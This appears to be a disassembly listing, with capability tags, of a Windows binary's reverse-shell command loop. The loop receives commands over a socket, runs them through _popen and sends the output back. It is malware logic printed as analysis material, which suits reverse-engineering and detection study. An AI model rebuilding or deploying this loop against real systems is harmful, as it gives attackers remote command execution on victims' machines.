Function at 0x1400013f0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x3b00]
mov eax, 0x3c00
call fcn.140002790
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x3af0], rax
movups xmm0, xmmword [str.Failed_to_execute_command_n]
movzx eax, word [0x140003538]
mov rdi, rcx
mov word [rsp + 0x38], ax
lea rcx, str.Revshell_initializd..._n
movzx eax, byte [0x14000353a]
movups xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x3a], al
movsd xmm0, qword [0x140003530]
movsd qword [rsp + 0x30], xmm0
call fcn.140001010
cmp byte [0x140005704], 0
je 0x140001699
cmp rdi, 0xffffffffffffffff
je 0x1400016c2
mov qword [rsp + 0x3c18], rbx
nop dword [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, pe_nt_image_headers64
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x400
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x36b0
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
lea rdx, [rsp + 0x40]
mov r8d, pe_nt_image_headers64
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
mov r8d, 1
lea rdx, [rsp + 0x40]
lea rcx, [0x14000357c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400016b9
lea rdx, [0x140003580]
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov rbx, rax
test rax, rax
jne 0x140001534
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140001514
xor r9d, r9d
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
jmp 0x140001684
mov r8, rbx
lea rcx, [rbp + 0x40]
mov edx, 0x400
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x140001653
lea rcx, [rbp + 0x440]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140001560
lea r8, [rbp + 0x40]
xor edx, edx
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001570
mov r8, rbx
lea rcx, [rbp + 0x40]
mov edx, 0x400
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x14000162b
nop dword [rax + rax]
lea rcx, [rbp + 0x440]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x1400015b0
lea rdx, [rbp + 0x40]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rdx + rcx], 0
jne 0x1400015c4
add rax, rcx
cmp rax, 0x36b0
jae 0x14000162b
lea rax, [rbp + 0x440]
dec rax
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x1400015e2
lea r8, [rbp + 0x40]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8 + rdx]
mov byte [rax + rdx], cl
lea rdx, [rdx + 1]
test cl, cl
jne 0x140001600
mov r8, rbx
lea rcx, [rbp + 0x40]
mov edx, 0x400
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x1400015a0
lea rax, [rbp + 0x440]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140001640
lea rdx, [rbp + 0x440]
jmp 0x14000166f
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140001660
lea rdx, [rsp + 0x20]
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
cmp byte [0x140005704], 0
jne 0x140001480
mov rbx, qword [rsp + 0x3c18]
mov rcx, qword [rbp + 0x3af0]
xor rcx, rsp
call fcn.140001720
mov rdi, qword [rsp + 0x3c20]
add rsp, 0x3c00
pop rbp
ret
mov byte [0x140005704], 0
jmp 0x140001691
lea rcx, str.Invalid_socket_handle_in_revShell._n
call fcn.140001010
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001699